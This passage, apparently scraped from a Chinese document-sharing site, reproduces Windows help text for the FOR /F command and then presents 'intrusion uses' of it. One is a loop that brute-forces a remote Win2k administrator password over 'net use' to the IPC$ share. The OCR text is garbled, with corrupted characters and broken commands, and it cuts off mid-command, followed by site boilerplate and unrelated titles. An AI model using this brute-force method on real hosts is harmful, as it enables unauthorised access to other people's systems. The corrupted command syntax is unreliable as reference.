51、是用作定義某個要分析的字符串的。%i專門在for語句中得到說明,%j和%k是通過toke ns二選項專門得到說明的。您可以通過 toke門$=行指定最多26個符號,只要不試圖說明一個高于字母 z或Z的變量。請記住,F(xiàn)OR變量是單一字母、分大小寫和全局的;同時不能有 52 個以上都在使用中。您還可以在相鄰字符串上使用 FOR /F分析邏輯;方法是,用單引號將括號 之間的 filenameset 括起來。這樣,該字符串會被當作一個文件中的一個單一輸 入行。最后,您可以用FOR /F命令來分析命令的輸出。方法是,將括號之間的 filenameset 變成一個反括字符串。該字符串會被當作命令行,傳遞到
52、一個子, 其輸出會被抓進內(nèi)存,并被當作文件分析。因此,以下例子 :FOR /F usebackq delims= %i IN (set) DO echo 會枚舉當前環(huán)境中的環(huán) 境變量名稱。另外,F(xiàn)OR變量參照的替換已被增強。您現(xiàn)在可以使用下列選項語法:I -刪除任何引號 (),擴充 %I%fl揺1擴充到一個完全合格的路徑名%dl僅將%I擴充到一個驅(qū)動器號%pI -僅將 %I 擴充到一個路徑%nl僅將%I擴充到一個文件名%xI僅將%I擴充到一個文件擴展名%sl -擴充的路徑只含有短名%aI將%I擴充到文件的文件屬性%tI揺%I擴充到文件的日期/時間%zI將%I擴充到文件的大小%$PATH:I查找
53、列在路徑環(huán)境變量的目錄,并將 %I擴充到找到的第一個完 全合格的名稱。如果環(huán)境變量未被定義,或者沒有找到文件,此組合鍵會擴充空字符串可以組合修飾符來得到多重結(jié)果 :%dpI僅將%I擴充到一個驅(qū)動器號和路徑%nxl僅將%I擴充到一個文件名和擴展名%fsI僅將%I擴充到一個帶有短名的完整路徑名%dp$PATH:i查找列在路徑環(huán)境變量的目錄,并將 1擴充到找到的第一個 驅(qū)動器號和路徑。%ftzaI將%I擴充到類似輸出線路的DIR在以上例子中,%I和PATH可用其他有效數(shù)值代替。語法用一個有效的 FOR變量名終止。選取類似I的大寫變量名比較易讀,而且避免與不分大小寫 的組合鍵混淆。以上是MS的官方幫助,下面我們舉幾個例子來具體說明一下 For命令在入侵中的用途。sample2:利用For命令來實現(xiàn)對一臺目標 Win2k主機的暴力密碼破解。我們用 net use ipipc$ password /u:administrator 來嘗試這和目標主機進 行連接,當成功時記下密碼。最主要的命令是一條: for /f i% in do net useipipc$ i%/u:administrator用i%來表示admin的密碼,在中這個取i%的值用net use命令來連接。然 后將程序運行結(jié)果傳遞給 find 命令for/fi%indonetuseipi
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責。
- 6. 下載文件中如有侵權(quán)或不適當內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 2025年抗血小板藥項目建議書
- 2025年建筑防水卷材及制品項目建議書
- 企業(yè)臨時保安合同范本
- 合資合伙協(xié)議合同范本
- 醫(yī)院保安協(xié)議合同范本
- 合同范本 渠道疏浚
- 煤矸石燒結(jié)磚購銷合同范本
- 農(nóng)村錯車道工程合同范例
- 叉車變賣合同范本
- 幼兒園玩具設(shè)備采購合同范本
- 高等教育學課件-
- 送達地址確認書
- 機動車檢測站管理制度
- 大班語言《你是螞蟻小可》
- 熒光增白劑介紹
- 老年人健康及生活質(zhì)量評估評估
- 大班音樂《數(shù)高樓》
- 營銷部安全生產(chǎn)責任制
- 【講座】高三英語高效二輪備考講座課件
- 2022-2023學年遼寧省鞍山市普通高中高一年級下冊學期第一次月考數(shù)學(A卷)試題【含答案】
- 2022年安徽醫(yī)科大學第一附屬醫(yī)院臨床醫(yī)技、護理、管理崗位招聘187人筆試備考題庫及答案解析
評論
0/150
提交評論